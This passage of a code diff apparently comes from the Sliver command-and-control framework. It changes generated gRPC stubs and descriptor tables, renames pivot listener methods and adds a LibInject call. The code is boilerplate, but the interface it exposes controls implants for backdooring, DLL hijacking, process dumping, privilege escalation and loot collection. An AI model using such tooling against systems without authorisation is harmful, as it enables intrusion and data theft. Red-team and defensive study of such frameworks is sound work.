141, // 203: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead
|
||||
142, // 204: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite
|
||||
143, // 205: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey
|
||||
144, // 206: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList
|
||||
145, // 207: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList
|
||||
146, // 208: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
|
||||
147, // 209: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack
|
||||
148, // 210: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs
|
||||
69, // 211: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession
|
||||
149, // 212: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension
|
||||
150, // 213: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension
|
||||
151, // 214: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions
|
||||
152, // 215: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward
|
||||
152, // 216: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward
|
||||
153, // 217: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks
|
||||
153, // 218: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks
|
||||
154, // 219: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders
|
||||
155, // 220: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers
|
||||
156, // 221: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell
|
||||
157, // 222: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd
|
||||
81, // 223: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks
|
||||
0, // 224: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty
|
||||
82, // 225: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData
|
||||
83, // 226: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel
|
||||
0, // 227: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty
|
||||
84, // 228: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData
|
||||
158, // 229: rpcpb.SliverRPC.Events:output_type -> clientpb.Event
|
||||
115, // [115:230] is the sub-list for method output_type
|
||||
0, // [0:115] is the sub-list for method input_type
|
||||
69, // 96: rpcpb.SliverRPC.LibInject:input_type -> sliverpb.LibInjectReq
|
||||
70, // 97: rpcpb.SliverRPC.OpenSession:input_type -> sliverpb.OpenSession
|
||||
71, // 98: rpcpb.SliverRPC.RegisterExtension:input_type -> sliverpb.RegisterExtensionReq
|
||||
72, // 99: rpcpb.SliverRPC.CallExtension:input_type -> sliverpb.CallExtensionReq
|
||||
73, // 100: rpcpb.SliverRPC.ListExtensions:input_type -> sliverpb.ListExtensionsReq
|
||||
74, // 101: rpcpb.SliverRPC.WGStartPortForward:input_type -> sliverpb.WGPortForwardStartReq
|
||||
75, // 102: rpcpb.SliverRPC.WGStopPortForward:input_type -> sliverpb.WGPortForwardStopReq
|
||||
76, // 103: rpcpb.SliverRPC.WGStartSocks:input_type -> sliverpb.WGSocksStartReq
|
||||
77, // 104: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq
|
||||
78, // 105: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq
|
||||
79, // 106: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq
|
||||
80, // 107: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq
|
||||
81, // 108: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq
|
||||
82, // 109: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks
|
||||
82, // 110: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks
|
||||
83, // 111: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData
|
||||
84, // 112: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel
|
||||
84, // 113: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel
|
||||
85, // 114: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData
|
||||
0, // 115: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty
|
||||
86, // 116: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version
|
||||
87, // 117: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators
|
||||
0, // 118: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty
|
||||
88, // 119: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions
|
||||
89, // 120: rpcpb.SliverRPC.UpdateSession:output_type -> clientpb.Session
|
||||
90, // 121: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons
|
||||
3, // 122: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon
|
||||
0, // 123: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty
|
||||
91, // 124: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks
|
||||
4, // 125: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask
|
||||
92, // 126: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response
|
||||
0, // 127: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty
|
||||
93, // 128: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs
|
||||
94, // 129: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob
|
||||
95, // 130: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.MTLSListener
|
||||
96, // 131: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.WGListener
|
||||
97, // 132: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.DNSListener
|
||||
98, // 133: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.HTTPListener
|
||||
98, // 134: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.HTTPListener
|
||||
99, // 135: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener
|
||||
99, // 136: rpcpb.SliverRPC.StartHTTPStagerListener:output_type -> clientpb.StagerListener
|
||||
11, // 137: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot
|
||||
0, // 138: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty
|
||||
11, // 139: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot
|
||||
11, // 140: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot
|
||||
100, // 141: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot
|
||||
100, // 142: rpcpb.SliverRPC.LootAllOf:output_type -> clientpb.AllLoot
|
||||
101, // 143: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts
|
||||
12, // 144: rpcpb.SliverRPC.Host:output_type -> clientpb.Host
|
||||
0, // 145: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty
|
||||
0, // 146: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty
|
||||
102, // 147: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate
|
||||
102, // 148: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate
|
||||
103, // 149: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds
|
||||
0, // 150: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty
|
||||
104, // 151: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries
|
||||
105, // 152: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig
|
||||
106, // 153: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP
|
||||
107, // 154: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles
|
||||
0, // 155: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty
|
||||
17, // 156: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile
|
||||
108, // 157: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager
|
||||
109, // 158: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI
|
||||
110, // 159: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler
|
||||
111, // 160: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites
|
||||
20, // 161: rpcpb.SliverRPC.Website:output_type -> clientpb.Website
|
||||
0, // 162: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty
|
||||
20, // 163: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website
|
||||
20, // 164: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website
|
||||
20, // 165: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website
|
||||
23, // 166: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping
|
||||
112, // 167: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps
|
||||
113, // 168: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate
|
||||
114, // 169: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig
|
||||
115, // 170: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat
|
||||
116, // 171: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls
|
||||
117, // 172: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd
|
||||
117, // 173: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd
|
||||
118, // 174: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm
|
||||
119, // 175: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir
|
||||
120, // 176: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download
|
||||
121, // 177: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload
|
||||
122, // 178: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump
|
||||
123, // 179: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs
|
||||
124, // 180: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate
|
||||
125, // 181: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf
|
||||
126, // 182: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem
|
||||
127, // 183: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task
|
||||
127, // 184: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task
|
||||
127, // 185: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task
|
||||
128, // 186: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly
|
||||
129, // 187: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate
|
||||
130, // 188: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute
|
||||
130, // 189: rpcpb.SliverRPC.ExecuteToken:output_type -> sliverpb.Execute
|
||||
131, // 190: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload
|
||||
132, // 191: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll
|
||||
133, // 192: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot
|
||||
134, // 193: rpcpb.SliverRPC.NamedPipes:output_type -> sliverpb.NamedPipes
|
||||
135, // 194: rpcpb.SliverRPC.TCPListener:output_type -> sliverpb.TCPPivot
|
||||
136, // 195: rpcpb.SliverRPC.ListPivots:output_type -> sliverpb.PivotList
|
||||
137, // 196: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo
|
||||
137, // 197: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo
|
||||
137, // 198: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo
|
||||
138, // 199: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken
|
||||
139, // 200: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo
|
||||
140, // 201: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv
|
||||
141, // 202: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv
|
||||
142, // 203: rpcpb.SliverRPC.Backdoor:output_type -> sliverpb.Backdoor
|
||||
143, // 204: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead
|
||||
144, // 205: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite
|
||||
145, // 206: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey
|
||||
146, // 207: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList
|
||||
147, // 208: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList
|
||||
148, // 209: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
|
||||
149, // 210: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack
|
||||
150, // 211: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs
|
||||
151, // 212: rpcpb.SliverRPC.LibInject:output_type -> sliverpb.LibInject
|
||||
70, // 213: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession
|
||||
152, // 214: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension
|
||||
153, // 215: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension
|
||||
154, // 216: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions
|
||||
155, // 217: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward
|
||||
155, // 218: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward
|
||||
156, // 219: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks
|
||||
156, // 220: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks
|
||||
157, // 221: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders
|
||||
158, // 222: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers
|
||||
159, // 223: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell
|
||||
160, // 224: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd
|
||||
82, // 225: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks
|
||||
0, // 226: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty
|
||||
83, // 227: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData
|
||||
84, // 228: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel
|
||||
0, // 229: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty
|
||||
85, // 230: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData
|
||||
161, // 231: rpcpb.SliverRPC.Events:output_type -> clientpb.Event
|
||||
116, // [116:232] is the sub-list for method output_type
|
||||
0, // [0:116] is the sub-list for method input_type
|
||||
0, // [0:0] is the sub-list for extension type_name
|
||||
0, // [0:0] is the sub-list for extension extendee
|
||||
0, // [0:0] is the sub-list for field type_name
|
||||
|
||||
@@ -113,12 +113,9 @@ service SliverRPC {
|
||||
rpc Sideload(sliverpb.SideloadReq) returns (sliverpb.Sideload);
|
||||
rpc SpawnDll(sliverpb.InvokeSpawnDllReq) returns (sliverpb.SpawnDll);
|
||||
rpc Screenshot(sliverpb.ScreenshotReq) returns (sliverpb.Screenshot);
|
||||
|
||||
// *** Pivots ***
|
||||
rpc PivotStartListener(sliverpb.PivotStartListenerReq) returns (sliverpb.PivotListener);
|
||||
rpc PivotStopListener(sliverpb.PivotStopListenerReq) returns (commonpb.Empty);
|
||||
rpc PivotListeners(sliverpb.PivotListenersReq) returns (sliverpb.PivotListeners);
|
||||
|
||||
rpc NamedPipes(sliverpb.NamedPipesReq) returns (sliverpb.NamedPipes);
|
||||
rpc TCPListener(sliverpb.TCPPivotReq) returns (sliverpb.TCPPivot);
|
||||
rpc ListPivots(sliverpb.PivotListReq) returns (sliverpb.PivotList);
|
||||
rpc StartService(sliverpb.StartServiceReq) returns (sliverpb.ServiceInfo);
|
||||
rpc StopService(sliverpb.StopServiceReq) returns (sliverpb.ServiceInfo);
|
||||
rpc RemoveService(sliverpb.RemoveServiceReq) returns (sliverpb.ServiceInfo);
|
||||
@@ -135,6 +132,7 @@ service SliverRPC {
|
||||
rpc RunSSHCommand(sliverpb.SSHCommandReq) returns (sliverpb.SSHCommand);
|
||||
rpc HijackDLL(clientpb.DllHijackReq) returns (clientpb.DllHijack);
|
||||
rpc GetPrivs(sliverpb.GetPrivsReq) returns (sliverpb.GetPrivs);
|
||||
rpc LibInject(sliverpb.LibInjectReq) returns (sliverpb.LibInject);
|
||||
|
||||
// Beacon only commands
|
||||
rpc OpenSession(sliverpb.OpenSession) returns (sliverpb.OpenSession);
|
||||
|
||||
@@ -112,10 +112,9 @@ type SliverRPCClient interface {
|
||||
Sideload(ctx context.Context, in *sliverpb.SideloadReq, opts ...grpc.CallOption) (*sliverpb.Sideload, error)
|
||||
SpawnDll(ctx context.Context, in *sliverpb.InvokeSpawnDllReq, opts ...grpc.CallOption) (*sliverpb.SpawnDll, error)
|
||||
Screenshot(ctx context.Context, in *sliverpb.ScreenshotReq, opts ...grpc.CallOption) (*sliverpb.Screenshot, error)
|
||||
// *** Pivots ***
|
||||
PivotStartListener(ctx context.Context, in *sliverpb.PivotStartListenerReq, opts ...grpc.CallOption) (*sliverpb.PivotListener, error)
|
||||
PivotStopListener(ctx context.Context, in *sliverpb.PivotStopListenerReq, opts ...grpc.CallOption) (*commonpb.Empty, error)
|
||||
PivotListeners(ctx context.Context, in *sliverpb.PivotListenersReq, opts ...grpc.CallOption) (*sliverpb.PivotListeners, error)
|
||||
NamedPipes(ctx context.Context, in *sliverpb.NamedPipesReq, opts ...grpc.CallOption) (*sliverpb.NamedPipes, error)
|
||||
TCPListener(ctx context.Context, in *sliverpb.TCPPivotReq, opts ...grpc.CallOption) (*sliverpb.TCPPivot, error)
|
||||
ListPivots(ctx context.Context, in *sliverpb.PivotListReq, opts ...grpc.CallOption) (*sliverpb.PivotList, error)
|
||||
StartService(ctx context.Context, in *sliverpb.StartServiceReq, opts ...grpc.CallOption) (*sliverpb.ServiceInfo, error)
|
||||
StopService(ctx context.Context, in *sliverpb.StopServiceReq, opts ...grpc.CallOption) (*sliverpb.ServiceInfo, error)
|
||||
RemoveService(ctx context.Context, in *sliverpb.RemoveServiceReq, opts ...grpc.CallOption) (*sliverpb.ServiceInfo, error)
|
||||
@@ -132,6 +131,7 @@ type SliverRPCClient interface {
|
||||
RunSSHCommand(ctx context.Context, in *sliverpb.SSHCommandReq, opts ...grpc.CallOption) (*sliverpb.SSHCommand, error)
|
||||
HijackDLL(ctx context.Context, in *clientpb.DllHijackReq, opts ...grpc.CallOption) (*clientpb.DllHijack, error)
|
||||
GetPrivs(ctx context.Context, in *sliverpb.GetPrivsReq, opts ...grpc.CallOption) (*sliverpb.GetPrivs, error)
|
||||
LibInject(ctx context.Context, in *sliverpb.LibInjectReq, opts ...grpc.CallOption) (*sliverpb.LibInject, error)
|
||||
// Beacon only commands
|
||||
OpenSession(ctx context.Context, in *sliverpb.OpenSession, opts ...grpc.CallOption) (*sliverpb.OpenSession, error)
|
||||
// Extensions
|
||||
@@ -861,27 +861,27 @@ func (c *sliverRPCClient) Screenshot(ctx context.Context, in *sliverpb.Screensho
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) PivotStartListener(ctx context.Context, in *sliverpb.PivotStartListenerReq, opts ...grpc.CallOption) (*sliverpb.PivotListener, error) {
|
||||
out := new(sliverpb.PivotListener)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/PivotStartListener", in, out, opts...)
|
||||
func (c *sliverRPCClient) NamedPipes(ctx context.Context, in *sliverpb.NamedPipesReq, opts ...grpc.CallOption) (*sliverpb.NamedPipes, error) {
|
||||
out := new(sliverpb.NamedPipes)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/NamedPipes", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) PivotStopListener(ctx context.Context, in *sliverpb.PivotStopListenerReq, opts ...grpc.CallOption) (*commonpb.Empty, error) {
|
||||
out := new(commonpb.Empty)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/PivotStopListener", in, out, opts...)
|
||||
func (c *sliverRPCClient) TCPListener(ctx context.Context, in *sliverpb.TCPPivotReq, opts ...grpc.CallOption) (*sliverpb.TCPPivot, error) {
|
||||
out := new(sliverpb.TCPPivot)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/TCPListener", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) PivotListeners(ctx context.Context, in *sliverpb.PivotListenersReq, opts ...grpc.CallOption) (*sliverpb.PivotListeners, error) {
|
||||
out := new(sliverpb.PivotListeners)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/PivotListeners", in, out, opts...)
|
||||
func (c *sliverRPCClient) ListPivots(ctx context.Context, in *sliverpb.PivotListReq, opts ...grpc.CallOption) (*sliverpb.PivotList, error) {
|
||||
out := new(sliverpb.PivotList)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ListPivots", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -1032,6 +1032,15 @@ func (c *sliverRPCClient) GetPrivs(ctx context.Context, in *sliverpb.GetPrivsReq
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) LibInject(ctx context.Context, in *sliverpb.LibInjectReq, opts ...grpc.CallOption) (*sliverpb.LibInject, error) {
|
||||
out := new(sliverpb.LibInject)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/LibInject", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) OpenSession(ctx context.Context, in *sliverpb.OpenSession, opts ...grpc.CallOption) (*sliverpb.OpenSession, error) {
|
||||
out := new(sliverpb.OpenSession)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/OpenSession", in, out, opts...)
|
||||
@@ -1365,10 +1374,9 @@ type SliverRPCServer interface {
|
||||
Sideload(context.Context, *sliverpb.SideloadReq) (*sliverpb.Sideload, error)
|
||||
SpawnDll(context.Context, *sliverpb.InvokeSpawnDllReq) (*sliverpb.SpawnDll, error)
|
||||
Screenshot(context.Context, *sliverpb.ScreenshotReq) (*sliverpb.Screenshot, error)
|
||||
// *** Pivots ***
|
||||
PivotStartListener(context.Context, *sliverpb.PivotStartListenerReq) (*sliverpb.PivotListener, error)
|
||||
PivotStopListener(context.Context, *sliverpb.PivotStopListenerReq) (*commonpb.Empty, error)
|
||||
PivotListeners(context.Context, *sliverpb.PivotListenersReq) (*sliverpb.PivotListeners, error)
|
||||
NamedPipes(context.Context, *sliverpb.NamedPipesReq) (*sliverpb.NamedPipes, error)
|
||||
TCPListener(context.Context, *sliverpb.TCPPivotReq) (*sliverpb.TCPPivot, error)
|
||||
ListPivots(context.Context, *sliverpb.PivotListReq) (*sliverpb.PivotList, error)
|
||||
StartService(context.Context, *sliverpb.StartServiceReq) (*sliverpb.ServiceInfo, error)
|
||||
StopService(context.Context, *sliverpb.StopServiceReq) (*sliverpb.ServiceInfo, error)
|
||||
RemoveService(context.Context, *sliverpb.RemoveServiceReq) (*sliverpb.ServiceInfo, error)
|
||||
@@ -1385,6 +1393,7 @@ type SliverRPCServer interface {
|
||||
RunSSHCommand(context.Context, *sliverpb.SSHCommandReq) (*sliverpb.SSHCommand, error)
|
||||
HijackDLL(context.Context, *clientpb.DllHijackReq) (*clientpb.DllHijack, error)
|
||||
GetPrivs(context.Context, *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error)
|
||||
LibInject(context.Context, *sliverpb.LibInjectReq) (*sliverpb.LibInject, error)
|
||||
// Beacon only commands
|
||||
OpenSession(context.Context, *sliverpb.OpenSession) (*sliverpb.OpenSession, error)
|
||||
// Extensions
|
||||
@@ -1649,14 +1658,14 @@ func (UnimplementedSliverRPCServer) SpawnDll(context.Context, *sliverpb.InvokeSp
|
||||
func (UnimplementedSliverRPCServer) Screenshot(context.Context, *sliverpb.ScreenshotReq) (*sliverpb.Screenshot, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method Screenshot not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) PivotStartListener(context.Context, *sliverpb.PivotStartListenerReq) (*sliverpb.PivotListener, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method PivotStartListener not implemented")
|
||||
func (UnimplementedSliverRPCServer) NamedPipes(context.Context, *sliverpb.NamedPipesReq) (*sliverpb.NamedPipes, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method NamedPipes not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) PivotStopListener(context.Context, *sliverpb.PivotStopListenerReq) (*commonpb.Empty, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method PivotStopListener not implemented")
|
||||
func (UnimplementedSliverRPCServer) TCPListener(context.Context, *sliverpb.TCPPivotReq) (*sliverpb.TCPPivot, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method TCPListener not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) PivotListeners(context.Context, *sliverpb.PivotListenersReq) (*sliverpb.PivotListeners, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method PivotListeners not implemented")
|
||||
func (UnimplementedSliverRPCServer) ListPivots(context.Context, *sliverpb.PivotListReq) (*sliverpb.PivotList, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method ListPivots not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) StartService(context.Context, *sliverpb.StartServiceReq) (*sliverpb.ServiceInfo, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method StartService not implemented")
|
||||
@@ -1706,6 +1715,9 @@ func (UnimplementedSliverRPCServer) HijackDLL(context.Context, *clientpb.DllHija
|
||||
func (UnimplementedSliverRPCServer) GetPrivs(context.Context, *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method GetPrivs not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) LibInject(context.Context, *sliverpb.LibInjectReq) (*sliverpb.LibInject, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method LibInject not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) OpenSession(context.Context, *sliverpb.OpenSession) (*sliverpb.OpenSession, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method OpenSession not implemented")
|
||||
}
|
||||
@@ -3162,56 +3174,56 @@ func _SliverRPC_Screenshot_Handler(srv interface{}, ctx context.Context, dec fun
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_PivotStartListener_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.PivotStartListenerReq)
|
||||
func _SliverRPC_NamedPipes_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.NamedPipesReq)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).PivotStartListener(ctx, in)
|
||||
return srv.(SliverRPCServer).NamedPipes(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/PivotStartListener",
|
||||
FullMethod: "/rpcpb.SliverRPC/NamedPipes",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).PivotStartListener(ctx, req.(*sliverpb.PivotStartListenerReq))
|
||||
return srv.(SliverRPCServer).NamedPipes(ctx, req.(*sliverpb.NamedPipesReq))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_PivotStopListener_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.PivotStopListenerReq)
|
||||
func _SliverRPC_TCPListener_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.TCPPivotReq)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).PivotStopListener(ctx, in)
|
||||
